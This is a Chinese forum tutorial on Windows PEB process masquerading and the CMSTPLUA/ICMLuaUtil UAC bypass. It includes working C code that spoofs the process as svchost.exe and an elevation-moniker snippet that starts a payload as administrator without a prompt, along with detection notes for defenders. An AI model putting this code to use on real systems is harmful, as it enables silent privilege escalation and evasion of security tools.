首页
社区
课程
招聘
[原创]无声的提权:Windows攻击链中的进程伪装与UAC绕过
发表于: 2026-2-26 23:22 3049

[原创]无声的提权:Windows攻击链中的进程伪装与UAC绕过

2026-2-26 23:22
3049

在 Windows 攻击链中,许多看似基础的提权手段依然频繁奏效。在缺乏可用漏洞或需避免高风险内核操作时,攻击者会试图让提权看起来像系统应有的行为,以避免打断用户或触发告警。因此,“进程伪装”常被用于提权之前。攻击者通过塑造“合理的进程身份”而非单纯隐藏,来让 EDR 、AV 等防护产品和分析人员误以为其后续操作是合规的。

提权不只是技术问题,而是关于身份与信任的问题:

理解这一视角的转换,是识别“进程伪装 + 提权”攻击链的关键,也是本文讨论的重点。

Windows 的进程拥有多层复杂的“身份信息”。攻击者在进行"进程伪装"时,本质上就是在针对这些不同的"证件"和"特征"进行造假。

我们可以将进程的身份划分为以下 4 个层级:

系统程序、安全软件乃至安全分析师,大多是在各自的视角下检测和验证其中的部分信息。

攻击者倾向于寻找成本最低、收益最高的进程伪装方式,以躲过安全防护软件的检测和分析师的注意,然后悄无声息地实现提权。伪造进程的内核信息,成本和风险都很高;而篡改磁盘上的映像信息又容易被静态扫描识破。

因此,攻击者的目光很自然地落在了进程的用户态运行时信息上。这是一个介于内核与用户观测之间的“灰色地带”,其中比较方便操作的就是进程环境块PEB,它既不属于内核,却又深刻影响着用户态工具和分析人员的判断。

Windows 为了管理进程维护了很多数据结构。其中,EPROCESS 是位于内核空间的进程描述符。由于用户模式的程序无法直接访问内核空间,Windows 将一部分不那么敏感、但程序运行又频繁需要的信息放在了用户空间的进程环境块(PEB,Process Environment Block)中。每个进程都有自己独立的 PEB 结构。它位于用户态内存,用于存放特定进程状态信息的关键数据结构,包含映像基地址、加载的模块列表(PEB_LDR_DATA)、命令行参数和环境变量等,普通进程可以直接读取甚至修改它。

x86 (32位):TEB 位于 FS 段寄存器指向的地址,PEB 地址存储在 FS:[0x30]。

x64 (64位):TEB 位于 GS 段寄存器指向的地址,PEB 地址存储在 GS:[0x60]。

TEB (Thread Environment Block - 线程环境块),存储特定线程运行时的各种信息。每个线程都有自己独立的 TEB,用于管理线程本地存储 (TLS),包含异常处理链表(如 SEH 指针),存储线程的堆栈限制、线程 ID 等信息。

TEB 访问方式:在 32 位系统下通过 FS:[0] 寻址,64 位系统下通过 GS:[0] 寻址。

可以看到进程的部分信息已经被修改了

这种修改主要欺骗的是读取 PEB 来获取进程信息的工具(某些日志审计工具、早期的反病毒软件)。

后面要实现的 UAC 绕过需要欺骗 AppInfo 服务(承载了大部分 UAC 的验证逻辑),仅仅修改 ProcessParameters 是骗不过 AppInfo 服务的。 AppInfo 还会遍历 PEB->Ldr (加载器数据),检查当前进程加载的第一个模块(即 EXE 自身)的路径。修改 LDR 链表的代码实现后面还会提到。

从上面的结果也可以看到,只要对比一下 Command Line 的程序名称和 Image file name,就可以看出这两者不一致,肯定有问题。查看一下进程的内核结构体 EPROCESS 也能发现进程的“真实身份”,为什么这也能轻易实现提权?

关键在于 Windows 为了性能和架构的简便,AppInfo 服务(运行在 svchost.exe 中)通过 ReadProcessMemory 跨进程读取请求者的 PEB 内存块。它读取的是用户态的内存,而不是请求内核去查询 EPROCESS(内核对象)。如果系统进程频繁访问内核的结构体,会产生很大的开销。为了让 Explorer.exe 能够静默完成许多管理任务,系统必须给它开绿灯。

就好比,一个小偷用伪造的工卡想进入办公大楼,保安看过一眼就放行了,因为去调人事档案来核实身份太麻烦了。而且这个伪造的工卡本来属于每天都来单位的财务,保安无条件信任这个工卡。

当然要查一下证件照、看一下监控录像就很容易发现这个人不对劲。当等到发现的时候,小偷已经得逞了。恶意程序篡改 PEB 后立刻提权,就能顺利完成恶意操作。

这个比喻可能不太严谨,但大概是这个意思吧。

在 UAC 机制下,即便是管理员账户登录,默认启动的进程也只是中等完整性(Medium Integrity),只有通过提权操作,才能获得高完整性(High Integrity),从而真正拥有写系统目录、改注册表核心键值的权限。

提权的大致原理是系统内置的CMSTPLUA组件(实现了该接口)允许静默提权,但前提是调用者必须为受信任的系统进程。攻击者首先修改当前进程的PEB,将自身路径伪装成合法可信的进程,例如 explorer.exe。接着,代码使用CoGetObject配合Elevation提权字符串去实例化该组件。系统的AppInfo服务在校验时被PEB伪装欺骗,从而在独立的dllhost.exe中免弹窗创建了一个高权限的COM对象。最后,攻击者调用该接口的ShellExec方法启动目标程序(如cmd.exe),通过父子进程的权限继承,成功实现无弹窗获取管理员权限。

读取 PEB 之后然后修改,这个前面介绍了,这里就不多说了。

CoInitialize 是 Windows API 函数,用于在当前线程上初始化组件对象模型(COM)库,并将线程设置为单线程单元(STA)模式。使用任何 COM 功能前必须调用它(内存分配函数除外),且必须与 CoUninitialize 成对使用以释放资源。

组件对象模型 (COM) 是微软开发的一种二进制接口标准,旨在实现跨编程语言(如 C++、C#、Python)和跨进程的软件组件复用。它允许以 DLL 或 EXE 形式存在的可重用二进制组件在运行时动态交互,是 ActiveX、OLE 和 DirectX 的技术基础。

Elevation Moniker(COM提升名字对象)是Windows的一项安全特性,允许在UAC(用户帐户控制)限制下运行的应用程序以管理员权限激活特定的COM类。

Elevation Moniker: Elevation:Administrator!new: 是一种特殊的 COM 语法。它告诉 COM 运行时环境(COM Runtime):实例化后面这个 CLSID 对应的对象,并且要以管理员权限(High Integrity Level)来创建它。如果一个普通的、未提权的程序调用这行代码,UAC(User Account Control)会拦截请求,弹出一个确认窗口,询问用户是否允许。

CLSID (Class Identifier,类标识符) 是一个 128 位 (16 字节) 的数字,属于 GUID(全局唯一标识符)的一种,通常以带有大括号和连字符的十六进制字符串形式呈现。它用于在 Windows 系统中唯一地标识一个具体的 COM 类 (COM Class)。无论是一段处理图像的代码、一个 Excel 应用程序实例,还是一个执行系统权限提升的组件,只要它是一个 COM 对象,它就必定有一个对应的 CLSID。

当系统收到请求:“请给我创建一个 CLSID 为 {...} 的对象”时,系统是如何找到对应代码的呢?答案是查注册表。Windows 注册表中有一个专门管理这些“条形码”的庞大数据库,路径通常位于:

CoGetObject 的主要作用是将一个显示名称(Display Name)转换为一个对象实例。简单来说,你可以给它一个字符串(比如文件路径、URL、WMI 查询语句,或者特殊的系统命令),它会解析这个字符串,找到对应的 COM 对象,将其激活(运行),并返回一个接口指针给你。

具体工作流程如下:

Windows 系统中有一份 COM 组件的白名单。在这个白名单上的组件,如果被请求以管理员权限启动,且请求者(Caller)是可信的 Windows 系统核心进程,系统可以配置为“静默提升” (Auto-Elevation),即不弹出 UAC 提示框直接给权限。

GUID {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 对应的是 CMSTPLUA 组件(属于“应用程序兼容性”或“颜色管理”相关组件)。这个组件被微软配置为允许自动提升,且它实现了一个非常有用的接口 ICMLuaUtil,里面包含了可以执行程序的 ShellExec 方法。

ICMLuaUtil 是 Windows 系统中一个非公开(未文档化)的 COM 接口,主要用于 CMLua 组件(Connection Manager Lua 实用程序)。CMLua 组件(全称 Connection Manager Lua)是 Windows 操作系统中“连接管理器”(Connection Manager)的一个实用程序模块,主要用于处理网络连接配置和远程访问服务, cmlua.dll 文件的形式存在于 C:\Windows\System32 目录下。

攻击者或开发者调用ShellExec时,系统内部会调用 ShellExecuteEx,从而在无需 UAC 弹窗确认的情况下,以高完整性(管理员权限)启动指定的程序或脚本。

当调用 CoGetObject 请求自动提升时,Windows 的 AIS (Application Information Service) 会介入进行安全检查。它会检查“是谁在请求这个权限?”

AIS 的检查逻辑大致如下:

在某些版本的 Windows 中(或者针对特定的 COM 接口),AIS 在判断“请求者是谁”时,过分依赖了进程内存中的 PEB(进程环境块) 信息,而不是严格校验磁盘上的文件签名或内核层的进程对象。

BIND_OPTS3 是一个在 Windows Vista 及更高版本中引入的 COM 结构体(定义于 objidl.h),用于在绑定名字对象(Moniker)时指定参数。它是 BIND_OPTS2 的扩展,通过增加 COSERVERINFO 指针,允许在激活对象时指定服务器信息,从而支持更复杂的远程激活设置

Windows 系统不断更新,结构体可能会增加新成员。通过传入结构体的大小(cbStruct),操作系统底层的函数就能知道你用的是哪个版本的结构体,从而避免读取越界或引发崩溃。memset 则是为了防止内存中有残留的垃圾数据影响执行。

dwClassContext(类上下文)决定了 COM 组件的宿主进程(Host Process)在哪里。这也是 UAC 绕过逻辑的画龙点睛之笔。

在 COM 编程中,常用的上下文有两种:

CLSCTX_LOCAL_SERVER 意味着创建的 COM 对象不会加载到当前进程的内存中(因为当前进程权限低,加载不了高权限对象),而是由系统启动一个 DLL Surrogate (dllhost.exe) 进程来承载这个对象。

dllhost.exe是Windows的核心系统进程,负责在后台代理运行基于DLL的COM对象,主要用于资源管理器生成缩略图、IIS服务及程序间组件调用,位于C:\Windows\System32。

状态:

通过把 bop 传给 CoGetObject,函数执行成功后,拿到了 pICMLuaUtil 指针,其实是一个代理指针(Proxy Pointer)。
当随后调用 pICMLuaUtil->ShellExec("cmd.exe", ...) 时:

通过 RPC(远程过程调用)向那个高权限的 dllhost.exe 发送指令,调用 ShellExec 方法。

因为 ShellExec 是在 dllhost.exe (管理员权限) 的上下文中执行的,所以它启动的子进程(这里是 cmd.exe)会自动继承父进程的权限。

最终结果:在这个高权限的 cmd.exe 中,可以执行任何需要管理员权限的操作。

以下是测试程序的完整代码

改变了 PEB 的 CommandLine

也改变了 LDR (Loader) 模块链表

cmd 进程被创建,窗口左上角显示 “管理员:C:\Windows\System32\cmd.exe”。没有弹出需要确认管理员权限的窗口。

在组信息列表中,BUILTIN\Administrators 的属性是 “必需的组, 启用于默认, 启用的组, 组的所有者”

列表最后一行显示 High Mandatory Level (S-1-16-12288),现在处于 High 级别,测试程序 ProcessFaker.exe 已经成功通过 ICMLuaUtil 接口,从 Medium 提升到了 High

在这个 cmd 窗口中,执行一些敏感操作都能成功

此时会弹出 UAC 警告窗口

如果攻击者采用这种手法,那肯定会引起检测工具或者安全分析师的警觉,因为这看起来是一个陌生的程序在申请更高权限,十分异常。

Vergilius Project

信息类别 含义 包含的信息种类 常用检测工具
映像文件 进程在磁盘上的原始文件 文件路径、MD5/SHA256、数字签名、Manifest(清单文件)、资源段(版本信息) PEStudio, DIE, PEBear
用户态运行时 进程加载到内存的运行状态信息,是很多进程管理服务的信息来源 PEB (ImagePath, CommandLine)、LDR 链表、环境变量、TEB、加载的 DLL 列表 Process Hacker (System Informer)
行为信息 进程创建后对文件、注册表、网络和其他进程等对象的操作,“你是谁不重要,重要的是你在做什么” API 调用序列 (Hook 监控)、网络连接、注册表/文件操作、堆栈指纹 Sysmon, Procmon, EDR 行为分析, Wireshark、火绒剑
内核信息 Windows 内核维护的进程“真身”,是系统进行权限校验的最终依据 EPROCESS 结构、句柄表、进程保护级别 (PsProtectedProcess) WinDbg
//不同版本的windows系统的PEB结构体成员有些许差异
 
typedef struct _PEB {
  BYTE                          Reserved1[2];     
  BYTE                          BeingDebugged;     // 是否处于调试状态(1=被调试,0=未被调试)
  BYTE                          Reserved2[1];     
  PVOID                         Reserved3[2];    
  PPEB_LDR_DATA                 Ldr;               // 模块加载器数据(已加载模块链表等)
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters; // 指向RTL_USER_PROCESS_PARAMETERS结构体的指针,结构体包括进程的若干参数(命令行、镜像路径、当前目录等)
  PVOID                         Reserved4[3];     
  PVOID                         AtlThunkSListPtr;  // ATL thunk 相关的单向链表指针
  PVOID                         Reserved5;        
  ULONG                         Reserved6;        
  PVOID                         Reserved7;        
  ULONG                         Reserved8;        
  ULONG                         AtlThunkSListPtr32;// 32ATL thunk 链表指针(WOW64/兼容用途)
  PVOID                         Reserved9[45];    
  BYTE                          Reserved10[96];  
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; // 进程初始化完成后回调
  BYTE                          Reserved11[128];  
  PVOID                         Reserved12[1];    
  ULONG                         SessionId;         // 会话 ID(用于区分交互会话/服务会话等)
} PEB, *PPEB;
//不同版本的windows系统的PEB结构体成员有些许差异
 
typedef struct _PEB {
  BYTE                          Reserved1[2];     
  BYTE                          BeingDebugged;     // 是否处于调试状态(1=被调试,0=未被调试)
  BYTE                          Reserved2[1];     
  PVOID                         Reserved3[2];    
  PPEB_LDR_DATA                 Ldr;               // 模块加载器数据(已加载模块链表等)
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters; // 指向RTL_USER_PROCESS_PARAMETERS结构体的指针,结构体包括进程的若干参数(命令行、镜像路径、当前目录等)
  PVOID                         Reserved4[3];     
  PVOID                         AtlThunkSListPtr;  // ATL thunk 相关的单向链表指针
  PVOID                         Reserved5;        
  ULONG                         Reserved6;        
  PVOID                         Reserved7;        
  ULONG                         Reserved8;        
  ULONG                         AtlThunkSListPtr32;// 32ATL thunk 链表指针(WOW64/兼容用途)
  PVOID                         Reserved9[45];    
  BYTE                          Reserved10[96];  
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; // 进程初始化完成后回调
  BYTE                          Reserved11[128];  
  PVOID                         Reserved12[1];    
  ULONG                         SessionId;         // 会话 ID(用于区分交互会话/服务会话等)
} PEB, *PPEB;
struct _RTL_USER_PROCESS_PARAMETERS
{
    ………………………………………………                      //部分成员省略
    ULONG DebugFlags;                       // 调试相关的标志
    VOID* ConsoleHandle;                    // 关联的控制台句柄(对于 GUI 程序通常为 NULL
    ULONG ConsoleFlags;                     // 控制台状态标志
    ………………………………………………                      // 部分成员省略
    struct _CURDIR CurrentDirectory;        // 当前工作目录(内含目录路径和句柄)
    struct _UNICODE_STRING DllPath;         // 默认的 DLL 搜索路径
    struct _UNICODE_STRING ImagePathName;   // 【关键】进程的可执行文件完整路径(伪装核心)
    struct _UNICODE_STRING CommandLine;     // 【关键】启动进程的完整命令行字符串(伪装核心)
    VOID* Environment;                      // 指向进程环境变量块的指针 (KEY=VALUE 字符串列表)
     
    ………………………………………………                      //部分成员省略
     
    // Windows 各个盘符的当前目录(如 C: 的当前目录,D: 的当前目录)
    struct _RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
     
    ULONGLONG EnvironmentSize;              // 环境变量块的大小
    ULONGLONG EnvironmentVersion;           // 环境变量的版本号(用于检测更新)
   
    ………………………………………………                      // 部分成员省略
};
struct _RTL_USER_PROCESS_PARAMETERS
{
    ………………………………………………                      //部分成员省略
    ULONG DebugFlags;                       // 调试相关的标志
    VOID* ConsoleHandle;                    // 关联的控制台句柄(对于 GUI 程序通常为 NULL
    ULONG ConsoleFlags;                     // 控制台状态标志
    ………………………………………………                      // 部分成员省略
    struct _CURDIR CurrentDirectory;        // 当前工作目录(内含目录路径和句柄)
    struct _UNICODE_STRING DllPath;         // 默认的 DLL 搜索路径
    struct _UNICODE_STRING ImagePathName;   // 【关键】进程的可执行文件完整路径(伪装核心)
    struct _UNICODE_STRING CommandLine;     // 【关键】启动进程的完整命令行字符串(伪装核心)
    VOID* Environment;                      // 指向进程环境变量块的指针 (KEY=VALUE 字符串列表)
     
    ………………………………………………                      //部分成员省略
     
    // Windows 各个盘符的当前目录(如 C: 的当前目录,D: 的当前目录)
    struct _RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
     
    ULONGLONG EnvironmentSize;              // 环境变量块的大小
    ULONGLONG EnvironmentVersion;           // 环境变量的版本号(用于检测更新)
   
    ………………………………………………                      // 部分成员省略
};
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <wchar.h>
 
typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG TimeStamp;
    UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
 
typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, * PCURDIR;
 
// PEB 中存储进程参数的核心结构体
typedef struct _RTL_USER_PROCESS_PARAMETERS_FULL {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    CURDIR CurrentDirectory;        // 当前目录
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;   // 映像路径 (也就是 exe 的全路径)
    UNICODE_STRING CommandLine;     // 命令行参数
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;     // 窗口标题
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
    ULONG_PTR EnvironmentSize;
} RTL_USER_PROCESS_PARAMETERS_FULL, * PRTL_USER_PROCESS_PARAMETERS_FULL;
 
// 重新定义 PEB 以包含完整的 Parameters 指针
typedef struct _PEB_FULL {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN BitField;
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PVOID Ldr;
    PRTL_USER_PROCESS_PARAMETERS_FULL ProcessParameters; // 指向参数块
    // 后面的字段对于本演示不重要,省略...
} PEB_FULL, * PPEB_FULL;
 
 
void MasqueradeString(UNICODE_STRING* target, const wchar_t* newString) {
    // 1. 计算新字符串长度
    size_t len = wcslen(newString);
    USHORT sizeBytes = (USHORT)(len * sizeof(wchar_t));
 
    // 2. 申请新的内存块 (在进程堆上)
    // 必须包含空终止符的空间,尽管 UNICODE_STRING 不强制要求空终止,但为了兼容性最好加上
    wchar_t* newBuffer = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeBytes + sizeof(wchar_t));
 
    if (newBuffer == NULL) {
        printf("[!] Memory allocation failed.\n");
        return;
    }
 
    // 3. 复制内容
    memcpy(newBuffer, newString, sizeBytes);
 
    // 4. 修改目标 UNICODE_STRING 的结构成员
    // 这是一个原子操作的模拟,将指针指向新的地址
    target->Buffer = newBuffer;
    target->Length = sizeBytes;
    target->MaximumLength = sizeBytes + sizeof(wchar_t);
}
 
int main() {
    // 获取当前 32位进程的 PEB 地址
    // FS:[0x30] 是 32位系统下 TIB (Thread Information Block) 指向 PEB 的偏移
#ifdef _WIN64
    printf("[!] Error: Please compile this as x86 (32-bit) for this demonstration.\n");
    return 1;
#else
    PPEB_FULL pPeb = (PPEB_FULL)__readfsdword(0x30);
#endif
 
    PRTL_USER_PROCESS_PARAMETERS_FULL pParams = pPeb->ProcessParameters;
 
    printf("====================================================\n");
    printf("  PEB Spoofing / Masquerading Demo (32-bit)\n");
    printf("====================================================\n\n");
 
    printf("[*] Original Information (Read from PEB):\n");
    wprintf(L"    Command Line: %s\n", pParams->CommandLine.Buffer);
    wprintf(L"    Image Path:   %s\n", pParams->ImagePathName.Buffer);
    wprintf(L"    Win Title:    %s\n", pParams->WindowTitle.Buffer);
 
    printf("\n[*] Press ENTER to execute masquerading...");
    getchar();
 
    // ---------------------------------------------------------
    // 开始伪装
    // ---------------------------------------------------------
 
    // 1. 伪装命令行 (这是最常见的,让进程看起来像是在运行合法服务)
    // 比如伪装成 Windows 更新服务
    MasqueradeString(&pParams->CommandLine, L"C:\\Windows\\System32\\svchost.exe -k netsvcs -p -s wuauserv");
 
    // 2. 伪装映像路径 (部分旧工具会读取这里,而不是查询内核)
    MasqueradeString(&pParams->ImagePathName, L"C:\\Windows\\System32\\svchost.exe");
 
    // 3. 伪装窗口标题
    MasqueradeString(&pParams->WindowTitle, L"Service Host Process");
 
    // 4. 伪装当前目录
    MasqueradeString(&pParams->CurrentDirectory.DosPath, L"C:\\Windows\\System32\\");
 
    // ---------------------------------------------------------
    // 验证结果
    // ---------------------------------------------------------
    printf("\n[+] PEB Modified successfully!\n");
    printf("[*] New Information (Read from PEB):\n");
    wprintf(L"    Command Line: %s\n", pParams->CommandLine.Buffer);
    wprintf(L"    Image Path:   %s\n", pParams->ImagePathName.Buffer);
    wprintf(L"    Win Title:    %s\n", pParams->WindowTitle.Buffer);
 
    printf("\n[!] Now check Task Manager (Details tab) or Process Hacker.\n");
    printf("    Note: Some EDRs/Tools query the KERNEL (EPROCESS), not PEB, so they might see the real name.\n");
    printf("    However, standard 'Command Line' auditing often logs the fake one.\n");
 
    printf("\n[*] Press ENTER to exit...");
    getchar();
 
    return 0;
}
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <wchar.h>
 
typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG TimeStamp;
    UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
 
typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, * PCURDIR;
 
// PEB 中存储进程参数的核心结构体
typedef struct _RTL_USER_PROCESS_PARAMETERS_FULL {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    CURDIR CurrentDirectory;        // 当前目录
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;   // 映像路径 (也就是 exe 的全路径)
    UNICODE_STRING CommandLine;     // 命令行参数
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;     // 窗口标题
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
    ULONG_PTR EnvironmentSize;
} RTL_USER_PROCESS_PARAMETERS_FULL, * PRTL_USER_PROCESS_PARAMETERS_FULL;
 
// 重新定义 PEB 以包含完整的 Parameters 指针
typedef struct _PEB_FULL {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN BitField;
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PVOID Ldr;
    PRTL_USER_PROCESS_PARAMETERS_FULL ProcessParameters; // 指向参数块
    // 后面的字段对于本演示不重要,省略...
} PEB_FULL, * PPEB_FULL;
 
 
void MasqueradeString(UNICODE_STRING* target, const wchar_t* newString) {
    // 1. 计算新字符串长度
    size_t len = wcslen(newString);
    USHORT sizeBytes = (USHORT)(len * sizeof(wchar_t));
 
    // 2. 申请新的内存块 (在进程堆上)
    // 必须包含空终止符的空间,尽管 UNICODE_STRING 不强制要求空终止,但为了兼容性最好加上
    wchar_t* newBuffer = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeBytes + sizeof(wchar_t));
 
    if (newBuffer == NULL) {
        printf("[!] Memory allocation failed.\n");
        return;
    }
 
    // 3. 复制内容
    memcpy(newBuffer, newString, sizeBytes);
 
    // 4. 修改目标 UNICODE_STRING 的结构成员
    // 这是一个原子操作的模拟,将指针指向新的地址
    target->Buffer = newBuffer;
    target->Length = sizeBytes;
    target->MaximumLength = sizeBytes + sizeof(wchar_t);
}
 
int main() {
    // 获取当前 32位进程的 PEB 地址
    // FS:[0x30] 是 32位系统下 TIB (Thread Information Block) 指向 PEB 的偏移
#ifdef _WIN64
    printf("[!] Error: Please compile this as x86 (32-bit) for this demonstration.\n");
    return 1;
#else
    PPEB_FULL pPeb = (PPEB_FULL)__readfsdword(0x30);
#endif
 
    PRTL_USER_PROCESS_PARAMETERS_FULL pParams = pPeb->ProcessParameters;
 
    printf("====================================================\n");
    printf("  PEB Spoofing / Masquerading Demo (32-bit)\n");
    printf("====================================================\n\n");
 
    printf("[*] Original Information (Read from PEB):\n");
    wprintf(L"    Command Line: %s\n", pParams->CommandLine.Buffer);
    wprintf(L"    Image Path:   %s\n", pParams->ImagePathName.Buffer);
    wprintf(L"    Win Title:    %s\n", pParams->WindowTitle.Buffer);
 
    printf("\n[*] Press ENTER to execute masquerading...");
    getchar();
 
    // ---------------------------------------------------------
    // 开始伪装
    // ---------------------------------------------------------
 
    // 1. 伪装命令行 (这是最常见的,让进程看起来像是在运行合法服务)
    // 比如伪装成 Windows 更新服务
    MasqueradeString(&pParams->CommandLine, L"C:\\Windows\\System32\\svchost.exe -k netsvcs -p -s wuauserv");
 
    // 2. 伪装映像路径 (部分旧工具会读取这里,而不是查询内核)
    MasqueradeString(&pParams->ImagePathName, L"C:\\Windows\\System32\\svchost.exe");
 
    // 3. 伪装窗口标题
    MasqueradeString(&pParams->WindowTitle, L"Service Host Process");
 
    // 4. 伪装当前目录
    MasqueradeString(&pParams->CurrentDirectory.DosPath, L"C:\\Windows\\System32\\");
 
    // ---------------------------------------------------------
    // 验证结果
    // ---------------------------------------------------------
    printf("\n[+] PEB Modified successfully!\n");
    printf("[*] New Information (Read from PEB):\n");
    wprintf(L"    Command Line: %s\n", pParams->CommandLine.Buffer);
    wprintf(L"    Image Path:   %s\n", pParams->ImagePathName.Buffer);
    wprintf(L"    Win Title:    %s\n", pParams->WindowTitle.Buffer);
 
    printf("\n[!] Now check Task Manager (Details tab) or Process Hacker.\n");
    printf("    Note: Some EDRs/Tools query the KERNEL (EPROCESS), not PEB, so they might see the real name.\n");
    printf("    However, standard 'Command Line' auditing often logs the fake one.\n");
 
    printf("\n[*] Press ENTER to exit...");
    getchar();
 
    return 0;
}
Command Line:  C:\Windows\System32\svchost.exe -k netsvcs -p -s wuauserv
Command Line:  C:\Windows\System32\svchost.exe -k netsvcs -p -s wuauserv
Image Path:   C:\Windows\System32\svchost.exe
Image Path:   C:\Windows\System32\svchost.exe
#ifdef _WIN64
    PMY_PEB pPEB = (PMY_PEB)__readgsqword(0x60);
#else
    PMY_PEB pPEB = (PMY_PEB)__readfsdword(0x30);
#endif
#ifdef _WIN64
    PMY_PEB pPEB = (PMY_PEB)__readgsqword(0x60);
#else
    PMY_PEB pPEB = (PMY_PEB)__readfsdword(0x30);
#endif
HRESULT CoInitialize(LPVOID pvReserved)  //初始化当前线程上的 COM 库,并将并发模型标识为单线程单元 (STA)
 
//参数:pvReserved 必须为 NULL
//常用返回值:
    S_OK:成功初始化 COM 库。
    S_FALSECOM 库在该线程上已经初始化过了。
    RPC_E_CHANGED_MODE:该线程之前已以不同的并发模式(如 MTA)初始化过,无法更改模式。
HRESULT CoInitialize(LPVOID pvReserved)  //初始化当前线程上的 COM 库,并将并发模型标识为单线程单元 (STA)
 
//参数:pvReserved 必须为 NULL
//常用返回值:
    S_OK:成功初始化 COM 库。
    S_FALSECOM 库在该线程上已经初始化过了。
    RPC_E_CHANGED_MODE:该线程之前已以不同的并发模式(如 MTA)初始化过,无法更改模式。
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
CoGetObject(elevationMoniker, ...);
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
CoGetObject(elevationMoniker, ...);
HRESULT CoGetObject(
  LPCWSTR   pszName,        // [输入] 显示名称(关键参数)
  BIND_OPTS *pBindOptions,  // [输入] 绑定选项(可选)
  REFIID    riid,           // [输入] 你想要的接口 ID (IID)
  void      **ppv           // [输出] 接收接口指针的变量
);
HRESULT CoGetObject(
  LPCWSTR   pszName,        // [输入] 显示名称(关键参数)
  BIND_OPTS *pBindOptions,  // [输入] 绑定选项(可选)
  REFIID    riid,           // [输入] 你想要的接口 ID (IID)
  void      **ppv           // [输出] 接收接口指针的变量
);
HRESULT hr = E_FAIL;
ICMLuaUtil* pICMLuaUtil = nullptr;
 
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
 
BIND_OPTS3 bop;
memset(&bop, 0, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
 
wprintf(L"[*] Calling CoGetObject...\n");
hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil);
 
if (FAILED(hr)) {
    wprintf(L"[-] CoGetObject Failed: 0x%08X\n", hr);
    return false;
}
 
wprintf(L"[+] Elevation success. Launching: %s\n", payloadExe);
hr = pICMLuaUtil->ShellExec(payloadExe, NULL, NULL, 0, SW_SHOW);
 
if (pICMLuaUtil) pICMLuaUtil->Release();
return SUCCEEDED(hr);
HRESULT hr = E_FAIL;
ICMLuaUtil* pICMLuaUtil = nullptr;
 
LPCWSTR elevationMoniker = L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
 
BIND_OPTS3 bop;
memset(&bop, 0, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
 
wprintf(L"[*] Calling CoGetObject...\n");
hr = CoGetObject(elevationMoniker, (BIND_OPTS*)&bop, __uuidof(ICMLuaUtil), (void**)&pICMLuaUtil);
 
if (FAILED(hr)) {
    wprintf(L"[-] CoGetObject Failed: 0x%08X\n", hr);
    return false;
}
 
wprintf(L"[+] Elevation success. Launching: %s\n", payloadExe);
hr = pICMLuaUtil->ShellExec(payloadExe, NULL, NULL, 0, SW_SHOW);
 
if (pICMLuaUtil) pICMLuaUtil->Release();
return SUCCEEDED(hr);

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 6
支持
分享
最新回复 (5)
雪    币: 750
活跃值: (1029)
